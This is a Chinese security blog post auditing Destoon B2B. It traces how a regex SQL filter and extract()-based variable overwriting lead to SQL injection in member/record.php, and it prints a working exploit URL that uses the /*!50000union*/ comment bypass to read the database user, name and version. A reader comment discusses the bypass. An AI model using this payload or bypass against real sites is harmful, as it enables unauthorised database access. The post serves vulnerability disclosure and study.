您的位置 » 首页 » 代码审计 » 代码审计:Destoon b2b最新全版本通杀SQL注入漏洞附POC及修复

代码审计:Destoon b2b最新全版本通杀SQL注入漏洞附POC及修复

发表于3年前 | 作者: seay | 分类: 代码审计 | 孵化于:2013年11月13日 | 文章热度:10,359 次 全屏阅读

显示不全请点击全屏阅读

找到/common.inc.php 64行:

if($_POST) $_POST = strip_sql($_POST); //strip_sql()过滤 
  
if($_GET) $_GET = strip_sql($_GET); 
  
if($_COOKIE) $_COOKIE = strip_sql($_COOKIE); 
  
......... 
  
if($_POST) extract($_POST, EXTR_SKIP); //注册变量 
  
if($_GET) extract($_GET, EXTR_SKIP);

 

跟进strip_sql()
 
/include/global.func.php 186行:
function strip_sql($string) { 
  
$search = array("/union([[:space:]\/])/i","/select([[:space:]\/])/i","/update([[:space:]\/])/i","/replace([[:space:]\/])/i","/delete([[:space:]\/])/i","/drop([[:space:]\/])/i","/outfile([[:space:]\/])/i","/dumpfile([[:space:]\/])/i","/load_file\(/i","/substring\(/i","/ascii\(/i","/hex\(/i","/ord\(/i","/char\(/i"); 
  
$replace = array('union\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','ascii(','hex(','ord(','char('); 
  
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string); 
  
}
采用了新的正则表达式,之前西毒放出的exp,已经无法绕过新版本的过滤了。
 
此处可采用新的绕过方式:/!5000union*/
 
 
 
首先寻找一个注射点:
 
/module/member/record.inc.php 16行:
isset($mid) or $mid = 0; 
  
isset($currency) or $currency = ''; 
  
$module_select = module_select('mid', $L['module_name'], $mid); 
  
if($keyword) $condition .= " AND title LIKE '%$keyword%'"; 
  
if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00')); 
  
if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59')); 
  
if($mid) $condition .= " AND moduleid=$mid"; 
  
if($itemid) $condition .= " AND itemid=$itemid"; 
  
if($currency) $condition .= " AND currency='$currency'"; 
  
$r = $db->get_one("SELECT COUNT(*) AS num FROM {$DT_PRE}finance_pay WHERE $condition");// 
  
$pages = pages($r['num'], $page, $pagesize); 
  
$lists = array(); 
  
echo "SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize"; 
  
$result = $db->query("SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize");
此处利用变量覆盖,就可以顺利构造sql注入
 
 
 
/member/record.php
<?php  
  
require 'config.inc.php'; 
  
require '../common.inc.php'; 
  
require DT_ROOT.'/module/'.$module.'/record.inc.php'; 
  
?>
引入了common.inc.php,所以存在变量覆盖。并且可以绕过正则的过滤。最终造成sql注入
 
exp:http://demo.destoon.com/v5.0/member/record.php?action=pay&mid=-1/*!50000union*//*!50000select*/user(),2,database(),version(),5,6,7,8,9–
 

 
修复方案:
详见 http://bbs.destoon.com/thread-54159-1-1.html

作者:Kavia

Tags:

destoon漏洞, 代码审计, 网络安全博客,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3488/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

  • shuta 说:
    1楼
    2014 年 6 月 6 日 上午 10:57 回复

    exp中为什么不能这样写“/*!union*//*!select*/”我试过了,这样可以绕过正则。前面加上版本号50000的原因是什么?

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)